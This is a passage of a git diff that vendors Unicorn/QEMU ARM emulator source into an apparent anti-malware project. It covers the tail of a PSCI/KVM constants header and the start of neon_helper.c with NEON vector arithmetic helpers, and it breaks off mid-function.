+MISMATCH_CHECK(QEMU_PSCI_0_1_FN_CPU_OFF, KVM_PSCI_FN_CPU_OFF) +MISMATCH_CHECK(QEMU_PSCI_0_1_FN_CPU_ON, KVM_PSCI_FN_CPU_ON) +MISMATCH_CHECK(QEMU_PSCI_0_1_FN_MIGRATE, KVM_PSCI_FN_MIGRATE) + +#define QEMU_PSCI_0_2_FN_BASE 0x84000000 +#define QEMU_PSCI_0_2_FN(n) (QEMU_PSCI_0_2_FN_BASE + (n)) + +#define QEMU_PSCI_0_2_64BIT 0x40000000 +#define QEMU_PSCI_0_2_FN64_BASE \ + (QEMU_PSCI_0_2_FN_BASE + QEMU_PSCI_0_2_64BIT) +#define QEMU_PSCI_0_2_FN64(n) (QEMU_PSCI_0_2_FN64_BASE + (n)) + +#define QEMU_PSCI_0_2_FN_PSCI_VERSION QEMU_PSCI_0_2_FN(0) +#define QEMU_PSCI_0_2_FN_CPU_SUSPEND QEMU_PSCI_0_2_FN(1) +#define QEMU_PSCI_0_2_FN_CPU_OFF QEMU_PSCI_0_2_FN(2) +#define QEMU_PSCI_0_2_FN_CPU_ON QEMU_PSCI_0_2_FN(3) +#define QEMU_PSCI_0_2_FN_AFFINITY_INFO QEMU_PSCI_0_2_FN(4) +#define QEMU_PSCI_0_2_FN_MIGRATE QEMU_PSCI_0_2_FN(5) +#define QEMU_PSCI_0_2_FN_MIGRATE_INFO_TYPE QEMU_PSCI_0_2_FN(6) +#define QEMU_PSCI_0_2_FN_MIGRATE_INFO_UP_CPU QEMU_PSCI_0_2_FN(7) +#define QEMU_PSCI_0_2_FN_SYSTEM_OFF QEMU_PSCI_0_2_FN(8) +#define QEMU_PSCI_0_2_FN_SYSTEM_RESET QEMU_PSCI_0_2_FN(9) + +#define QEMU_PSCI_0_2_FN64_CPU_SUSPEND QEMU_PSCI_0_2_FN64(1) +#define QEMU_PSCI_0_2_FN64_CPU_OFF QEMU_PSCI_0_2_FN64(2) +#define QEMU_PSCI_0_2_FN64_CPU_ON QEMU_PSCI_0_2_FN64(3) +#define QEMU_PSCI_0_2_FN64_AFFINITY_INFO QEMU_PSCI_0_2_FN64(4) +#define QEMU_PSCI_0_2_FN64_MIGRATE QEMU_PSCI_0_2_FN64(5) + +MISMATCH_CHECK(QEMU_PSCI_0_2_FN_CPU_SUSPEND, PSCI_0_2_FN_CPU_SUSPEND) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN_CPU_OFF, PSCI_0_2_FN_CPU_OFF) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN_CPU_ON, PSCI_0_2_FN_CPU_ON) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN_MIGRATE, PSCI_0_2_FN_MIGRATE) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN64_CPU_SUSPEND, PSCI_0_2_FN64_CPU_SUSPEND) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN64_CPU_ON, PSCI_0_2_FN64_CPU_ON) +MISMATCH_CHECK(QEMU_PSCI_0_2_FN64_MIGRATE, PSCI_0_2_FN64_MIGRATE) + +/* PSCI v0.2 return values used by TCG emulation of PSCI */ + +/* No Trusted OS migration to worry about when offlining CPUs */ +#define QEMU_PSCI_0_2_RET_TOS_MIGRATION_NOT_REQUIRED 2 + +/* We implement version 0.2 only */ +#define QEMU_PSCI_0_2_RET_VERSION_0_2 2 + +MISMATCH_CHECK(QEMU_PSCI_0_2_RET_TOS_MIGRATION_NOT_REQUIRED, PSCI_0_2_TOS_MP) +MISMATCH_CHECK(QEMU_PSCI_0_2_RET_VERSION_0_2, + (PSCI_VERSION_MAJOR(0) | PSCI_VERSION_MINOR(2))) + +/* PSCI return values (inclusive of all PSCI versions) */ +#define QEMU_PSCI_RET_SUCCESS 0 +#define QEMU_PSCI_RET_NOT_SUPPORTED -1 +#define QEMU_PSCI_RET_INVALID_PARAMS -2 +#define QEMU_PSCI_RET_DENIED -3 +#define QEMU_PSCI_RET_ALREADY_ON -4 +#define QEMU_PSCI_RET_ON_PENDING -5 +#define QEMU_PSCI_RET_INTERNAL_FAILURE -6 +#define QEMU_PSCI_RET_NOT_PRESENT -7 +#define QEMU_PSCI_RET_DISABLED -8 + +MISMATCH_CHECK(QEMU_PSCI_RET_SUCCESS, PSCI_RET_SUCCESS) +MISMATCH_CHECK(QEMU_PSCI_RET_NOT_SUPPORTED, PSCI_RET_NOT_SUPPORTED) +MISMATCH_CHECK(QEMU_PSCI_RET_INVALID_PARAMS, PSCI_RET_INVALID_PARAMS) +MISMATCH_CHECK(QEMU_PSCI_RET_DENIED, PSCI_RET_DENIED) +MISMATCH_CHECK(QEMU_PSCI_RET_ALREADY_ON, PSCI_RET_ALREADY_ON) +MISMATCH_CHECK(QEMU_PSCI_RET_ON_PENDING, PSCI_RET_ON_PENDING) +MISMATCH_CHECK(QEMU_PSCI_RET_INTERNAL_FAILURE, PSCI_RET_INTERNAL_FAILURE) +MISMATCH_CHECK(QEMU_PSCI_RET_NOT_PRESENT, PSCI_RET_NOT_PRESENT) +MISMATCH_CHECK(QEMU_PSCI_RET_DISABLED, PSCI_RET_DISABLED) + +/* Note that KVM uses overlapping values for AArch32 and AArch64 + * target CPU numbers. AArch32 targets: + */ +#define QEMU_KVM_ARM_TARGET_CORTEX_A15 0 +#define QEMU_KVM_ARM_TARGET_CORTEX_A7 1 + +/* AArch64 targets: */ +#define QEMU_KVM_ARM_TARGET_AEM_V8 0 +#define QEMU_KVM_ARM_TARGET_FOUNDATION_V8 1 +#define QEMU_KVM_ARM_TARGET_CORTEX_A57 2 + +/* There's no kernel define for this: sentinel value which + * matches no KVM target value for either 64 or 32 bit + */ +#define QEMU_KVM_ARM_TARGET_NONE UINT_MAX + +#ifdef TARGET_AARCH64 +MISMATCH_CHECK(QEMU_KVM_ARM_TARGET_AEM_V8, KVM_ARM_TARGET_AEM_V8) +MISMATCH_CHECK(QEMU_KVM_ARM_TARGET_FOUNDATION_V8, KVM_ARM_TARGET_FOUNDATION_V8) +MISMATCH_CHECK(QEMU_KVM_ARM_TARGET_CORTEX_A57, KVM_ARM_TARGET_CORTEX_A57) +#else +MISMATCH_CHECK(QEMU_KVM_ARM_TARGET_CORTEX_A15, KVM_ARM_TARGET_CORTEX_A15) +MISMATCH_CHECK(QEMU_KVM_ARM_TARGET_CORTEX_A7, KVM_ARM_TARGET_CORTEX_A7) +#endif + +#define CP_REG_ARM64 0x6000000000000000ULL +#define CP_REG_ARM_COPROC_MASK 0x000000000FFF0000 +#define CP_REG_ARM_COPROC_SHIFT 16 +#define CP_REG_ARM64_SYSREG (0x0013 << CP_REG_ARM_COPROC_SHIFT) +#define CP_REG_ARM64_SYSREG_OP0_MASK 0x000000000000c000 +#define CP_REG_ARM64_SYSREG_OP0_SHIFT 14 +#define CP_REG_ARM64_SYSREG_OP1_MASK 0x0000000000003800 +#define CP_REG_ARM64_SYSREG_OP1_SHIFT 11 +#define CP_REG_ARM64_SYSREG_CRN_MASK 0x0000000000000780 +#define CP_REG_ARM64_SYSREG_CRN_SHIFT 7 +#define CP_REG_ARM64_SYSREG_CRM_MASK 0x0000000000000078 +#define CP_REG_ARM64_SYSREG_CRM_SHIFT 3 +#define CP_REG_ARM64_SYSREG_OP2_MASK 0x0000000000000007 +#define CP_REG_ARM64_SYSREG_OP2_SHIFT 0 + +/* No kernel define but it's useful to QEMU */ +#define CP_REG_ARM64_SYSREG_CP (CP_REG_ARM64_SYSREG >> CP_REG_ARM_COPROC_SHIFT) + +#ifdef TARGET_AARCH64 +MISMATCH_CHECK(CP_REG_ARM64, KVM_REG_ARM64) +MISMATCH_CHECK(CP_REG_ARM_COPROC_MASK, KVM_REG_ARM_COPROC_MASK) +MISMATCH_CHECK(CP_REG_ARM_COPROC_SHIFT, KVM_REG_ARM_COPROC_SHIFT) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG, KVM_REG_ARM64_SYSREG) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP0_MASK, KVM_REG_ARM64_SYSREG_OP0_MASK) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP0_SHIFT, KVM_REG_ARM64_SYSREG_OP0_SHIFT) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP1_MASK, KVM_REG_ARM64_SYSREG_OP1_MASK) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP1_SHIFT, KVM_REG_ARM64_SYSREG_OP1_SHIFT) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_CRN_MASK, KVM_REG_ARM64_SYSREG_CRN_MASK) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_CRN_SHIFT, KVM_REG_ARM64_SYSREG_CRN_SHIFT) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_CRM_MASK, KVM_REG_ARM64_SYSREG_CRM_MASK) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_CRM_SHIFT, KVM_REG_ARM64_SYSREG_CRM_SHIFT) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP2_MASK, KVM_REG_ARM64_SYSREG_OP2_MASK) +MISMATCH_CHECK(CP_REG_ARM64_SYSREG_OP2_SHIFT, KVM_REG_ARM64_SYSREG_OP2_SHIFT) +#endif + +#undef MISMATCH_CHECK + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/neon_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/neon_helper.c new file mode 100644 index 0000000..fdae9d4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/neon_helper.c @@ -0,0 +1,2243 @@ +/* + * ARM NEON vector operations. + * + * Copyright (c) 2007, 2008 CodeSourcery. + * Written by Paul Brook + * + * This code is licensed under the GNU GPL v2. + */ +#include +#include + +#include "cpu.h" +#include "exec/exec-all.h" +#include "exec/helper-proto.h" + +#define SIGNBIT (uint32_t)0x80000000 +#define SIGNBIT64 ((uint64_t)1 << 63) + +#define SET_QC() env->vfp.xregs[ARM_VFP_FPSCR] |= CPSR_Q + +#define NEON_TYPE1(name, type) \ +typedef struct \ +{ \ + type v1; \ +} neon_##name; +#ifdef HOST_WORDS_BIGENDIAN +#define NEON_TYPE2(name, type) \ +typedef struct \ +{ \ + type v2; \ + type v1; \ +} neon_##name; +#define NEON_TYPE4(name, type) \ +typedef struct \ +{ \ + type v4; \ + type v3; \ + type v2; \ + type v1; \ +} neon_##name; +#else +#define NEON_TYPE2(name, type) \ +typedef struct \ +{ \ + type v1; \ + type v2; \ +} neon_##name; +#define NEON_TYPE4(name, type) \ +typedef struct \ +{ \ + type v1; \ + type v2; \ + type v3; \ + type v4; \ +} neon_##name; +#endif + +NEON_TYPE4(s8, int8_t) +NEON_TYPE4(u8, uint8_t) +NEON_TYPE2(s16, int16_t) +NEON_TYPE2(u16, uint16_t) +NEON_TYPE1(s32, int32_t) +NEON_TYPE1(u32, uint32_t) +#undef NEON_TYPE4 +#undef NEON_TYPE2 +#undef NEON_TYPE1 + +/* Copy from a uint32_t to a vector structure type. */ +#define NEON_UNPACK(vtype, dest, val) do { \ + union { \ + vtype v; \ + uint32_t i; \ + } conv_u; \ + conv_u.i = (val); \ + dest = conv_u.v; \ + } while(0) + +/* Copy from a vector structure type to a uint32_t. */ +#define NEON_PACK(vtype, dest, val) do { \ + union { \ + vtype v; \ + uint32_t i; \ + } conv_u; \ + conv_u.v = (val); \ + dest = conv_u.i; \ + } while(0) + +#define NEON_DO1 \ + NEON_FN(vdest.v1, vsrc1.v1, vsrc2.v1); +#define NEON_DO2 \ + NEON_FN(vdest.v1, vsrc1.v1, vsrc2.v1); \ + NEON_FN(vdest.v2, vsrc1.v2, vsrc2.v2); +#define NEON_DO4 \ + NEON_FN(vdest.v1, vsrc1.v1, vsrc2.v1); \ + NEON_FN(vdest.v2, vsrc1.v2, vsrc2.v2); \ + NEON_FN(vdest.v3, vsrc1.v3, vsrc2.v3); \ + NEON_FN(vdest.v4, vsrc1.v4, vsrc2.v4); + +#define NEON_VOP_BODY(vtype, n) \ +{ \ + uint32_t res; \ + vtype vsrc1; \ + vtype vsrc2; \ + vtype vdest; \ + NEON_UNPACK(vtype, vsrc1, arg1); \ + NEON_UNPACK(vtype, vsrc2, arg2); \ + NEON_DO##n; \ + NEON_PACK(vtype, res, vdest); \ + return res; \ +} + +#define NEON_VOP(name, vtype, n) \ +uint32_t HELPER(glue(neon_,name))(uint32_t arg1, uint32_t arg2) \ +NEON_VOP_BODY(vtype, n) + +#define NEON_VOP_ENV(name, vtype, n) \ +uint32_t HELPER(glue(neon_,name))(CPUARMState *env, uint32_t arg1, uint32_t arg2) \ +NEON_VOP_BODY(vtype, n) + +/* Pairwise operations. */ +/* For 32-bit elements each segment only contains a single element, so + the elementwise and pairwise operations are the same. */ +#define NEON_PDO2 \ + NEON_FN(vdest.v1, vsrc1.v1, vsrc1.v2); \ + NEON_FN(vdest.v2, vsrc2.v1, vsrc2.v2); +#define NEON_PDO4 \ + NEON_FN(vdest.v1, vsrc1.v1, vsrc1.v2); \ + NEON_FN(vdest.v2, vsrc1.v3, vsrc1.v4); \ + NEON_FN(vdest.v3, vsrc2.v1, vsrc2.v2); \ + NEON_FN(vdest.v4, vsrc2.v3, vsrc2.v4); \ + +#define NEON_POP(name, vtype, n) \ +uint32_t HELPER(glue(neon_,name))(uint32_t arg1, uint32_t arg2) \ +{ \ + uint32_t res; \ + vtype vsrc1; \ + vtype vsrc2; \ + vtype vdest; \ + NEON_UNPACK(vtype, vsrc1, arg1); \ + NEON_UNPACK(vtype, vsrc2, arg2); \ + NEON_PDO##n; \ + NEON_PACK(vtype, res, vdest); \ + return res; \ +} + +/* Unary operators. */ +#define NEON_VOP1(name, vtype, n) \ +uint32_t HELPER(glue(neon_,name))(uint32_t arg) \ +{ \ + vtype vsrc1; \ + vtype vdest; \ + NEON_UNPACK(vtype, vsrc1, arg); \ + NEON_DO##n; \ + NEON_PACK(vtype, arg, vdest); \ + return arg; \ +} + + +#define NEON_USAT(dest, src1, src2, type) do { \ + uint32_t tmp = (uint32_t)src1 + (uint32_t)src2; \ + if (tmp != (type)tmp) { \ + SET_QC(); \ + dest = ~0; \ + } else { \ + dest = tmp; \ + }} while(0) +#define NEON_FN(dest, src1, src2) NEON_USAT(dest, src1, src2, uint8_t) +NEON_VOP_ENV(qadd_u8, neon_u8, 4) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_USAT(dest, src1, src2, uint16_t) +NEON_VOP_ENV(qadd_u16, neon_u16, 2) +#undef NEON_FN +#undef NEON_USAT + +uint32_t HELPER(neon_qadd_u32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a + b; + if (res < a) { + SET_QC(); + res = ~0; + } + return res; +} + +uint64_t HELPER(neon_qadd_u64)(CPUARMState *env, uint64_t src1, uint64_t src2) +{ + uint64_t res; + + res = src1 + src2; + if (res < src1) { + SET_QC(); + res = ~(uint64_t)0; + } + return res; +} + +#define NEON_SSAT(dest, src1, src2, type) do { \ + int32_t tmp = (uint32_t)src1 + (uint32_t)src2; \ + if (tmp != (type)tmp) { \ + SET_QC(); \ + if (src2 > 0) { \ + tmp = (1 << (sizeof(type) * 8 - 1)) - 1; \ + } else { \ + tmp = 1 << (sizeof(type) * 8 - 1); \ + } \ + } \ + dest = tmp; \ + } while(0) +#define NEON_FN(dest, src1, src2) NEON_SSAT(dest, src1, src2, int8_t) +NEON_VOP_ENV(qadd_s8, neon_s8, 4) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_SSAT(dest, src1, src2, int16_t) +NEON_VOP_ENV(qadd_s16, neon_s16, 2) +#undef NEON_FN +#undef NEON_SSAT + +uint32_t HELPER(neon_qadd_s32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a + b; + if (((res ^ a) & SIGNBIT) && !((a ^ b) & SIGNBIT)) { + SET_QC(); + res = ~(((int32_t)a >> 31) ^ SIGNBIT); + } + return res; +} + +uint64_t HELPER(neon_qadd_s64)(CPUARMState *env, uint64_t src1, uint64_t src2) +{ + uint64_t res; + + res = src1 + src2; + if (((res ^ src1) & SIGNBIT64) && !((src1 ^ src2) & SIGNBIT64)) { + SET_QC(); + res = ((int64_t)src1 >> 63) ^ ~SIGNBIT64; + } + return res; +} + +/* Unsigned saturating accumulate of signed value + * + * Op1/Rn is treated as signed + * Op2/Rd is treated as unsigned + * + * Explicit casting is used to ensure the correct sign extension of + * inputs. The result is treated as a unsigned value and saturated as such. + * + * We use a macro for the 8/16 bit cases which expects signed integers of va, + * vb, and vr for interim calculation and an unsigned 32 bit result value r. + */ + +#define USATACC(bits, shift) \ + do { \ + va = sextract32(a, shift, bits); \ + vb = extract32(b, shift, bits); \ + vr = va + vb; \ + if (vr > UINT##bits##_MAX) { \ + SET_QC(); \ + vr = UINT##bits##_MAX; \ + } else if (vr < 0) { \ + SET_QC(); \ + vr = 0; \ + } \ + r = deposit32(r, shift, bits, vr); \ + } while (0) + +uint32_t HELPER(neon_uqadd_s8)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int16_t va, vb, vr; + uint32_t r = 0; + + USATACC(8, 0); + USATACC(8, 8); + USATACC(8, 16); + USATACC(8, 24); + return r; +} + +uint32_t HELPER(neon_uqadd_s16)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int32_t va, vb, vr; + uint64_t r = 0; + + USATACC(16, 0); + USATACC(16, 16); + return r; +} + +#undef USATACC + +uint32_t HELPER(neon_uqadd_s32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int64_t va = (int32_t)a; + int64_t vb = (uint32_t)b; + int64_t vr = va + vb; + if (vr > UINT32_MAX) { + SET_QC(); + vr = UINT32_MAX; + } else if (vr < 0) { + SET_QC(); + vr = 0; + } + return vr; +} + +uint64_t HELPER(neon_uqadd_s64)(CPUARMState *env, uint64_t a, uint64_t b) +{ + uint64_t res; + res = a + b; + /* We only need to look at the pattern of SIGN bits to detect + * +ve/-ve saturation + */ + if (~a & b & ~res & SIGNBIT64) { + SET_QC(); + res = UINT64_MAX; + } else if (a & ~b & res & SIGNBIT64) { + SET_QC(); + res = 0; + } + return res; +} + +/* Signed saturating accumulate of unsigned value + * + * Op1/Rn is treated as unsigned + * Op2/Rd is treated as signed + * + * The result is treated as a signed value and saturated as such + * + * We use a macro for the 8/16 bit cases which expects signed integers of va, + * vb, and vr for interim calculation and an unsigned 32 bit result value r. + */ + +#define SSATACC(bits, shift) \ + do { \ + va = extract32(a, shift, bits); \ + vb = sextract32(b, shift, bits); \ + vr = va + vb; \ + if (vr > INT##bits##_MAX) { \ + SET_QC(); \ + vr = INT##bits##_MAX; \ + } else if (vr < INT##bits##_MIN) { \ + SET_QC(); \ + vr = INT##bits##_MIN; \ + } \ + r = deposit32(r, shift, bits, vr); \ + } while (0) + +uint32_t HELPER(neon_sqadd_u8)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int16_t va, vb, vr; + uint32_t r = 0; + + SSATACC(8, 0); + SSATACC(8, 8); + SSATACC(8, 16); + SSATACC(8, 24); + return r; +} + +uint32_t HELPER(neon_sqadd_u16)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int32_t va, vb, vr; + uint32_t r = 0; + + SSATACC(16, 0); + SSATACC(16, 16); + + return r; +} + +#undef SSATACC + +uint32_t HELPER(neon_sqadd_u32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + int64_t res; + int64_t op1 = (uint32_t)a; + int64_t op2 = (int32_t)b; + res = op1 + op2; + if (res > INT32_MAX) { + SET_QC(); + res = INT32_MAX; + } else if (res < INT32_MIN) { + SET_QC(); + res = INT32_MIN; + } + return res; +} + +uint64_t HELPER(neon_sqadd_u64)(CPUARMState *env, uint64_t a, uint64_t b) +{ + uint64_t res; + res = a + b; + /* We only need to look at the pattern of SIGN bits to detect an overflow */ + if (((a & res) + | (~b & res) + | (a & ~b)) & SIGNBIT64) { + SET_QC(); + res = INT64_MAX; + } + return res; +} + + +#define NEON_USAT(dest, src1, src2, type) do { \ + uint32_t tmp = (uint32_t)src1 - (uint32_t)src2; \ + if (tmp != (type)tmp) { \ + SET_QC(); \ + dest = 0; \ + } else { \ + dest = tmp; \ + }} while(0) +#define NEON_FN(dest, src1, src2) NEON_USAT(dest, src1, src2, uint8_t) +NEON_VOP_ENV(qsub_u8, neon_u8, 4) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_USAT(dest, src1, src2, uint16_t) +NEON_VOP_ENV(qsub_u16, neon_u16, 2) +#undef NEON_FN +#undef NEON_USAT + +uint32_t HELPER(neon_qsub_u32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a - b; + if (res > a) { + SET_QC(); + res = 0; + } + return res; +} + +uint64_t HELPER(neon_qsub_u64)(CPUARMState *env, uint64_t src1, uint64_t src2) +{ + uint64_t res; + + if (src1 < src2) { + SET_QC(); + res = 0; + } else { + res = src1 - src2; + } + return res; +} + +#define NEON_SSAT(dest, src1, src2, type) do { \ + int32_t tmp = (uint32_t)src1 - (uint32_t)src2; \ + if (tmp != (type)tmp) { \ + SET_QC(); \ + if (src2 < 0) { \ + tmp = (1 << (sizeof(type) * 8 - 1)) - 1; \ + } else { \ + tmp = 1 << (sizeof(type) * 8 - 1); \ + } \ + } \ + dest = tmp; \ + } while(0) +#define NEON_FN(dest, src1, src2) NEON_SSAT(dest, src1, src2, int8_t) +NEON_VOP_ENV(qsub_s8, neon_s8, 4) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_SSAT(dest, src1, src2, int16_t) +NEON_VOP_ENV(qsub_s16, neon_s16, 2) +#undef NEON_FN +#undef NEON_SSAT + +uint32_t HELPER(neon_qsub_s32)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a - b; + if (((res ^ a) & SIGNBIT) && ((a ^ b) & SIGNBIT)) { + SET_QC(); + res = ~(((int32_t)a >> 31) ^ SIGNBIT); + } + return res; +} + +uint64_t HELPER(neon_qsub_s64)(CPUARMState *env, uint64_t src1, uint64_t src2) +{ + uint64_t res; + + res = src1 - src2; + if (((res ^ src1) & SIGNBIT64) && ((src1 ^ src2) & SIGNBIT64)) { + SET_QC(); + res = ((int64_t)src1 >> 63) ^ ~SIGNBIT64; + } + return res; +} + +#define NEON_FN(dest, src1, src2) dest = (src1 + src2) >> 1 +NEON_VOP(hadd_s8, neon_s8, 4) +NEON_VOP(hadd_u8, neon_u8, 4) +NEON_VOP(hadd_s16, neon_s16, 2) +NEON_VOP(hadd_u16, neon_u16, 2) +#undef NEON_FN + +int32_t HELPER(neon_hadd_s32)(int32_t src1, int32_t src2) +{ + int32_t dest; + + dest = (src1 >> 1) + (src2 >> 1); + if (src1 & src2 & 1) + dest++; + return dest; +} + +uint32_t HELPER(neon_hadd_u32)(uint32_t src1, uint32_t src2) +{ + uint32_t dest; + + dest = (src1 >> 1) + (src2 >> 1); + if (src1 & src2 & 1) + dest++; + return dest; +} + +#define NEON_FN(dest, src1, src2) dest = (src1 + src2 + 1) >> 1 +NEON_VOP(rhadd_s8, neon_s8, 4) +NEON_VOP(rhadd_u8, neon_u8, 4) +NEON_VOP(rhadd_s16, neon_s16, 2) +NEON_VOP(rhadd_u16, neon_u16, 2) +#undef NEON_FN + +int32_t HELPER(neon_rhadd_s32)(int32_t src1, int32_t src2) +{ + int32_t dest; + + dest = (src1 >> 1) + (src2 >> 1); + if ((src1 | src2) & 1) + dest++; + return dest; +} + +uint32_t HELPER(neon_rhadd_u32)(uint32_t src1, uint32_t src2) +{ + uint32_t dest; + + dest = (src1 >> 1) + (src2 >> 1); + if ((src1 | src2) & 1) + dest++; + return dest; +} + +#define NEON_FN(dest, src1, src2) dest = (src1 - src2) >> 1 +NEON_VOP(hsub_s8, neon_s8, 4) +NEON_VOP(hsub_u8, neon_u8, 4) +NEON_VOP(hsub_s16, neon_s16, 2) +NEON_VOP(hsub_u16, neon_u16, 2) +#undef NEON_FN + +int32_t HELPER(neon_hsub_s32)(int32_t src1, int32_t src2) +{ + int32_t dest; + + dest = (src1 >> 1) - (src2 >> 1); + if ((~src1) & src2 & 1) + dest--; + return dest; +} + +uint32_t HELPER(neon_hsub_u32)(uint32_t src1, uint32_t src2) +{ + uint32_t dest; + + dest = (src1 >> 1) - (src2 >> 1); + if ((~src1) & src2 & 1) + dest--; + return dest; +} + +#define NEON_FN(dest, src1, src2) dest = (src1 > src2) ? ~0 : 0 +NEON_VOP(cgt_s8, neon_s8, 4) +NEON_VOP(cgt_u8, neon_u8, 4) +NEON_VOP(cgt_s16, neon_s16, 2) +NEON_VOP(cgt_u16, neon_u16, 2) +NEON_VOP(cgt_s32, neon_s32, 1) +NEON_VOP(cgt_u32, neon_u32, 1) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = (src1 >= src2) ? ~0 : 0 +NEON_VOP(cge_s8, neon_s8, 4) +NEON_VOP(cge_u8, neon_u8, 4) +NEON_VOP(cge_s16, neon_s16, 2) +NEON_VOP(cge_u16, neon_u16, 2) +NEON_VOP(cge_s32, neon_s32, 1) +NEON_VOP(cge_u32, neon_u32, 1) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = (src1 < src2) ? src1 : src2 +NEON_VOP(min_s8, neon_s8, 4) +NEON_VOP(min_u8, neon_u8, 4) +NEON_VOP(min_s16, neon_s16, 2) +NEON_VOP(min_u16, neon_u16, 2) +NEON_VOP(min_s32, neon_s32, 1) +NEON_VOP(min_u32, neon_u32, 1) +NEON_POP(pmin_s8, neon_s8, 4) +NEON_POP(pmin_u8, neon_u8, 4) +NEON_POP(pmin_s16, neon_s16, 2) +NEON_POP(pmin_u16, neon_u16, 2) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = (src1 > src2) ? src1 : src2 +NEON_VOP(max_s8, neon_s8, 4) +NEON_VOP(max_u8, neon_u8, 4) +NEON_VOP(max_s16, neon_s16, 2) +NEON_VOP(max_u16, neon_u16, 2) +NEON_VOP(max_s32, neon_s32, 1) +NEON_VOP(max_u32, neon_u32, 1) +NEON_POP(pmax_s8, neon_s8, 4) +NEON_POP(pmax_u8, neon_u8, 4) +NEON_POP(pmax_s16, neon_s16, 2) +NEON_POP(pmax_u16, neon_u16, 2) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) \ + dest = (src1 > src2) ? ((int64_t)src1 - (int64_t)src2) : ((int64_t)src2 - (int64_t)src1) +NEON_VOP(abd_s8, neon_s8, 4) +NEON_VOP(abd_u8, neon_u8, 4) +NEON_VOP(abd_s16, neon_s16, 2) +NEON_VOP(abd_u16, neon_u16, 2) +NEON_VOP(abd_s32, neon_s32, 1) +NEON_VOP(abd_u32, neon_u32, 1) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8 || \ + tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp < 0) { \ + dest = src1 >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + }} while (0) +NEON_VOP(shl_u8, neon_u8, 4) +NEON_VOP(shl_u16, neon_u16, 2) +NEON_VOP(shl_u32, neon_u32, 1) +#undef NEON_FN + +uint64_t HELPER(neon_shl_u64)(uint64_t val, uint64_t shiftop) +{ + int8_t shift = (int8_t)shiftop; + if (shift >= 64 || shift <= -64) { + val = 0; + } else if (shift < 0) { + val >>= -shift; + } else { + val <<= shift; + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = src1 >> (sizeof(src1) * 8 - 1); \ + } else if (tmp < 0) { \ + dest = src1 >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + }} while (0) +NEON_VOP(shl_s8, neon_s8, 4) +NEON_VOP(shl_s16, neon_s16, 2) +NEON_VOP(shl_s32, neon_s32, 1) +#undef NEON_FN + +uint64_t HELPER(neon_shl_s64)(uint64_t valop, uint64_t shiftop) +{ + int8_t shift = (int8_t)shiftop; + uint64_t val = valop; + if (shift >= 64) { + val = 0; + } else if (shift <= -64) { + val >>= 63; + } else if (shift < 0) { + val >>= -shift; + } else { + val <<= shift; + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if ((tmp >= (ssize_t)sizeof(src1) * 8) \ + || (tmp <= -(ssize_t)sizeof(src1) * 8)) { \ + dest = 0; \ + } else if (tmp < 0) { \ + dest = (src1 + (1 << (-1 - tmp))) >> -tmp; \ + } else { \ + dest = (uint64_t)src1 << tmp; \ + }} while (0) +NEON_VOP(rshl_s8, neon_s8, 4) +NEON_VOP(rshl_s16, neon_s16, 2) +#undef NEON_FN + +/* The addition of the rounding constant may overflow, so we use an + * intermediate 64 bit accumulator. */ +uint32_t HELPER(neon_rshl_s32)(uint32_t valop, uint32_t shiftop) +{ + uint32_t dest; + int32_t val = (int32_t)valop; + int8_t shift = (int8_t)shiftop; + if ((shift >= 32) || (shift <= -32)) { + dest = 0; + } else if (shift < 0) { + int64_t big_dest = ((int64_t)val + (1ULL << (-1 - shift))); + dest = big_dest >> -shift; + } else { + dest = (uint32_t)val << shift; + } + return dest; +} + +/* Handling addition overflow with 64 bit input values is more + * tricky than with 32 bit values. */ +uint64_t HELPER(neon_rshl_s64)(uint64_t valop, uint64_t shiftop) +{ + int8_t shift = (int8_t)shiftop; + int64_t val = valop; + if ((shift >= 64) || (shift <= -64)) { + val = 0; + } else if (shift < 0) { + val >>= (-shift - 1); + if (val == INT64_MAX) { + /* In this case, it 